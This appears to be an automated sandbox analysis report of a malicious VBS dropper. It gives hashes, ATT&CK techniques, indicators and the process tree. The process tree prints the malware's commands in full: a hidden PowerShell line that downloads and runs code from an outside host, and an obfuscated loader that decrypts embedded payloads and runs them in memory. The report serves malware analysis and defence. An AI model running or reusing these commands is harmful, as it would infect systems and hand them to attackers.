bb11c0b847be578c727bd146e232a82eb65b8c43ad1657b200e12416b5fb3e3b

General

Target

6400_output.vbs
Size

49KB
MD5

50e3a17992c509fd34daf21f3d408733
SHA1

99001c7b061914c9caaf7ef2ba75f25ac3498d82
SHA256

bb11c0b847be578c727bd146e232a82eb65b8c43ad1657b200e12416b5fb3e3b
SHA512

e21c89778aecaa7a532f5d953a87b6ed575a14788556b67b3311ffec188d492bd633773ee81879c1451cf6ed1ad4c189bf41f07fc8dbba72bd07103a53597849
SSDEEP

768:I+1zXj3HDb1sybJRpN9/NVAdEamHuaxBsgV29+DY9lYUP7bFQqrSwli:IIzTzL/vtNV/RHvM5ADeHFn0

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2652	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2684	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2652	powershell.exe
2684	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2652	powershell.exe
Token: SeDebugPrivilege	2684	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2980 wrote to memory of 2652	2980	WScript.exe	30
PID 2980 wrote to memory of 2652	2980	WScript.exe	30
PID 2980 wrote to memory of 2652	2980	WScript.exe	30
PID 2980 wrote to memory of 2964	2980	WScript.exe	32
PID 2980 wrote to memory of 2964	2980	WScript.exe	32
PID 2980 wrote to memory of 2964	2980	WScript.exe	32
PID 2964 wrote to memory of 2524	2964	cmd.exe	34
PID 2964 wrote to memory of 2524	2964	cmd.exe	34
PID 2964 wrote to memory of 2524	2964	cmd.exe	34
PID 2524 wrote to memory of 2496	2524	cmd.exe	36
PID 2524 wrote to memory of 2496	2524	cmd.exe	36
PID 2524 wrote to memory of 2496	2524	cmd.exe	36
PID 2524 wrote to memory of 2684	2524	cmd.exe	37
PID 2524 wrote to memory of 2684	2524	cmd.exe	37
PID 2524 wrote to memory of 2684	2524	cmd.exe	37
PID 2524 wrote to memory of 2684	2524	cmd.exe	37

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6400_output.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2652
- C:\Windows\System32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\n1.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\n1.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2524
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\n1.bat';$UlQe='CrSJrjeaSJrjteSJrjDSJrjecSJrjrypSJrjtSJrjorSJrj'.Replace('SJrj', ''),'FrduLGoduLGmBduLGasduLGe64duLGSduLGtduLGrduLGinduLGgduLG'.Replace('duLG', ''),'SplWEtyitWEty'.Replace('WEty', ''),'TrPLLOaPLLOnPLLOsfPLLOorPLLOmFPLLOinaPLLOlPLLOBloPLLOckPLLO'.Replace('PLLO', ''),'IqAvznvqAvzokqAvzeqAvz'.Replace('qAvz', ''),'ElCRJaeCRJamCRJaeCRJantCRJaAtCRJa'.Replace('CRJa', ''),'CopoKbTyToKbTooKbT'.Replace('oKbT', ''),'CNvoBhaNvoBnNvoBgNvoBeENvoBxNvoBteNvoBnsiNvoBonNvoB'.Replace('NvoB', ''),'DVBxQecoVBxQmVBxQprVBxQeVBxQssVBxQ'.Replace('VBxQ', ''),'GFWFdetFWFdCuFWFdrFWFdreFWFdntFWFdPFWFdrocFWFdessFWFd'.Replace('FWFd', ''),'MaJpEGinJpEGMoJpEGdJpEGuJpEGleJpEG'.Replace('JpEG', ''),'ReaMYpLdMYpLLiMYpLneMYpLsMYpL'.Replace('MYpL', ''),'LoHeytadHeyt'.Replace('Heyt', ''),'EntGbxPrGbxPyGbxPPGbxPoiGbxPntGbxP'.Replace('GbxP', '');powershell -w hidden;function qnnlg($BQRjz){$vhoqP=[System.Security.Cryptography.Aes]::Create();$vhoqP.Mode=[System.Security.Cryptography.CipherMode]::CBC;$vhoqP.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$vhoqP.Key=[System.Convert]::($UlQe[1])('PqF8xJ4DsUvA734I68CUFeZUlzBwmh524HQ2zwVtwU0=');$vhoqP.IV=[System.Convert]::($UlQe[1])('ZAXbNfl672AbdKJrN/GTPw==');$txLMz=$vhoqP.($UlQe[0])();$WcLWs=$txLMz.($UlQe[3])($BQRjz,0,$BQRjz.Length);$txLMz.Dispose();$vhoqP.Dispose();$WcLWs;}function cedax($BQRjz){$surik=New-Object System.IO.MemoryStream(,$BQRjz);$atgID=New-Object System.IO.MemoryStream;$stzGr=New-Object System.IO.Compression.GZipStream($surik,[IO.Compression.CompressionMode]::($UlQe[8]));$stzGr.($UlQe[6])($atgID);$stzGr.Dispose();$surik.Dispose();$atgID.Dispose();$atgID.ToArray();}$UdUcO=[System.IO.File]::($UlQe[11])([Console]::Title);$lgana=cedax (qnnlg ([Convert]::($UlQe[1])([System.Linq.Enumerable]::($UlQe[5])($UdUcO, 5).Substring(2))));$RDaZu=cedax (qnnlg ([Convert]::($UlQe[1])([System.Linq.Enumerable]::($UlQe[5])($UdUcO, 6).Substring(2))));[System.Reflection.Assembly]::($UlQe[12])([byte[]]$RDaZu).($UlQe[13]).($UlQe[4])($null,$null);[System.Reflection.Assembly]::($UlQe[12])([byte[]]$lgana).($UlQe[13]).($UlQe[4])($null,$null); "
      4⤵
      PID:2496
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: CmdExeWriteProcessMemorySpam
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2684

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\n1.bat

Filesize
48KB

MD5
83fba8b8c150fdd949067fc54f597aa1

SHA1
fc6e442dba604453db6988950a09cd539c5f2ec8

SHA256
7f5beae0e19c0836c3f6838dacbebab8a8811643156f1af13664ff4725989f25

SHA512
11c852bb8d36a9e42beb5d42b3120bcec309ff751e60f750b8d35383b546285fd999450a13c238074228b8170d6efd16f238ec2c583964ee8393df23a201c1dd

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IKSWF4055Z67QHXXRMF5.temp

Filesize
7KB

MD5
b3ec6a40120b04811740a611f2e68b85

SHA1
339cbbea669b49e23bf5c1840314d76980f1ae8d

SHA256
dde4e5bd545788140157bfd726a5210f9f58f0733ff63dc0f1ac32684c2bb5e5

SHA512
d20d735b39b7afa9cda6667c2ab8470888c0e22162f1d01f050a315fabb4e93dc7d62bb18864c29290454660eb6b01930553339f1e141cfc775dc07aea725b26

Download Submit
memory/2652-4-0x000007FEF526E000-0x000007FEF526F000-memory.dmp

Filesize
4KB

Download
memory/2652-5-0x000000001B790000-0x000000001BA72000-memory.dmp

Filesize
2.9MB

Download
memory/2652-6-0x0000000001E00000-0x0000000001E08000-memory.dmp

Filesize
32KB

Download
memory/2652-7-0x000007FEF4FB0000-0x000007FEF594D000-memory.dmp

Filesize
9.6MB

Download
memory/2652-8-0x000007FEF4FB0000-0x000007FEF594D000-memory.dmp

Filesize
9.6MB

Download
memory/2652-9-0x000007FEF4FB0000-0x000007FEF594D000-memory.dmp

Filesize
9.6MB

Download
memory/2652-10-0x000007FEF4FB0000-0x000007FEF594D000-memory.dmp

Filesize
9.6MB

Download
memory/2652-11-0x000007FEF4FB0000-0x000007FEF594D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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